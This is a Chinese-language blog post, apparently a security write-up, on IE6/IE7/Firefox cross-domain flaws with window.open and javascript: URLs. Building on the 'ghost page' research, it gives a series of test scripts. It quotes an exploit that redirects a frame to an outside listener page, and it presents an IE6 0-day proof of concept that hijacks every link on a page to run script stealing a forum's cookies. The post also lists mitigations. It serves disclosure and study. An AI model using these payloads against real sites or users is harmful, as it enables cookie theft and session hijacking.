Manuel Caballero在BLUEHAT大會探讨了《A Resident in My Domain》議題,字面上的意思就是駐留在自己的域,随後開始有國内的安全研究人員在BLOG上寫了一些相關的内容,這段時間一直和HI群裡的朋友在讨論這個問題,大家都簡稱為鬼頁,這個鬼頁非常神奇,可以跟随你浏覽的每個頁面。經過鬼頁的啟發,我也對浏覽器的跨域安全問題進行了測試。
1.來自僞協定的呼喚
JAVASCRIPT裡大家都頻繁使用window對象,window對象代表的就是浏覽器的視窗,我們就來測試下window對象的open方法,嘗試讓新開的視窗執行僞協定。在本機搭建一個WEB伺服器,開始做下實驗:
用各個浏覽器浏覽 http://127.0.0.1/test.htm ,下面是test.htm的腳本内容:
<script> x=window.open('about:blank'); x.location="javascript:alert(document.domain)" </script> |
結果:
IE6:執行了僞協定,認為彈出視窗的域是127.0.0.1。
IE7:執行了僞協定,認為彈出視窗的域是127.0.0.1。
Firefox:執行了僞協定,認為還沒有域為NULL。
Firefox這裡對于這個接口可能也有個BUG,對于IP位址的彈窗Firefox沒有辨認出域,但是在實際綁定域名的情況下還是辨認出了域。
為了下面的部分友善了解,我把這裡彈窗的關系給簡稱下,原視窗叫父頁,彈出視窗叫子頁,實驗過後我們證明了:父頁和子頁都在同一個域裡,父頁可以重定向子頁的URL位址,甚至執行僞協定。
2.父頁和子頁的關系
如果父頁讓子頁通路其他域後,父頁和子頁是否就脫離關系了呢?
繼續測試,用各個浏覽器浏覽 http://127.0.0.1/test2.htm ,下面是test2.htm的腳本
内容:
<script> x=window.open('about:blank'); x.location="http://www.163.com" //通路163網站 setTimeout(function(){ x.location="http://127.0.0.1"; },5000) //5秒後重定向到127.0.0.1 </script> |
這次IE6、IE7、Firefox都達成了一緻,實驗的結果是子頁通路了163網站,5秒然後又跳回了127.0.0.1。
是以就算是子頁在通路了其他域後,還是會受父頁的控制。
3.域與域之間的牽絆
如果父頁讓子頁通路某個域後,再執行僞協定會有什麼效果?
用各個浏覽器浏覽 http://127.0.0.1/test3.htm,下面是test3.htm的腳本内容:
<script> x=window.open('about:blank'); x.location="http://www.163.com" setTimeout(function(){ x.location="javascript:alert(document.cookie)"; },5000) </script> |
結果:
IE6:沒有反應。
IE7:報錯,拒絕通路。
Firefox:報錯,alert沒有定義。
這些資訊明顯的說明,如果子頁和父頁不在同一個域裡,浏覽器是不允許父頁控制子頁執行僞協定腳本的。
為了進一步驗證,我們讓子頁打開同一個域裡的頁面測試:
用各個浏覽器浏覽 http://127.0.0.1/test4.htm,下面是test4.htm的腳本内容:
<script> document.cookie='xss:true' //給本域設定一個COOKIE為xss:true x=window.open('about:blank'); x.location="http://127.0.0.1" setTimeout(function(){ x.location="javascript:alert(document.cookie)"; },5000) </script> |
結果IE6、IE7、Firefox都順利的彈出了COOKIE值,說明如果子頁和父頁在同一個域裡,浏覽器是允許父頁控制子頁執行僞協定腳本的。
4.安全上的差異
父頁和子頁這種微妙的關系,到這裡就開始引發安全問題了,安全研究人員在分析鬼頁的時,給出了EXP:
javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1); |
EXP按上面三部分的概念解釋是:
父頁是A域,父頁指定子頁通路B域内一個帶架構的頁面,父頁就能夠控制B域頁面内架構的URL位址,這個就是典型的跨域操作了。
鬼頁能夠跨域操作架構的關鍵是window.frames[0]方法沒有受到域的限制,第二個是讓location指定的位址看起來像個對象而不是參數。
我們按照鬼頁的思路,繼續在第3部分的基礎上測試下去,将location指定的位址使用new String()對象處理。
用各個浏覽器浏覽 http://127.0.0.1/test5.htm,下面是test5.htm的腳本内容:
<script> x=window.open('about:blank'); x.location="http://www.163.com"; setTimeout(function(){ x.location=new String("javascript:alert(document.cookie)") },5000) </script> |
IE6:彈出COOKIE。
IE7:報錯,拒絕通路。
Firefox:報錯,alert沒有定義。
結果是IE6奇迹般的彈出了COOKIE,我們做到了跨域執行腳本。 5.災難性的後果
到這裡我們發現了一個IE6的0DAY,一定程度上這個跨域安全問題是災難性的,如下面的
EXP:
<a href="" target="_blank" rel="external nofollow" >IE6 Cross Domain Scripting</a> <script> function win(){ x=window.open('http://www.phpwind.net'); setTimeout(function(){ x.location=new String("javascript:alert(document.cookie)") },3000) } window.οnlοad=function(){ for (i=0;i<document.links.length;i++) { document.links[i].href="javascript:win()" target="_blank" rel="external nofollow" } } </script> |
點選連結後,馬上得到了PHPWIND論壇的COOKIE,這就意味着黑客通過類似的攻擊可以得到你通路過的任意網站的COOKIE,然後劫持你的會話。
這樣的漏洞相當于一個沒有域限制的XSS漏洞,幾乎是無法防禦的,網站隻能進一步的加強用戶端的會話安全,如使用SSL加密連接配接、設定安全COOKIE加上HTTPONLY參數、給敏感的請求操作加上水印等。
6.總結
這個跨域安全問題的本質是浏覽器在處理window對象的操作有所疏漏,沒有考慮清楚不同域有繼承關系的window對象操作後的變化,隻是對window對象的一些方法的參數做了類似資料類型的限制,導緻最後繞過限制跨域執行了腳本。
從這個漏洞我們也可以看出IE7的一些新的安全特性,通過繼承關系的window對象操作來跨域執行腳本僞協定最後是判斷了域的,IE7已經開始防範類似的攻擊。
但是這裡并沒有在本質上解決跨域安全問題,IE7隻防範了跨域執行腳本,對于其他跨域的操作仍然是放行的,是以鬼頁在IE7下可以跨域操作架構URL,而Firefox卻沒有存在相同的問題,說明不同浏覽器在安全的考慮上也是存在很多差異的。
針對IE我又測試了其他對象方法,發現很多都被限制住了,但不排除還有同樣的問題存在。按照類似的思路,大家可以繼續嘗試挖掘浏覽器的一些跨域漏洞。
參考
[1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/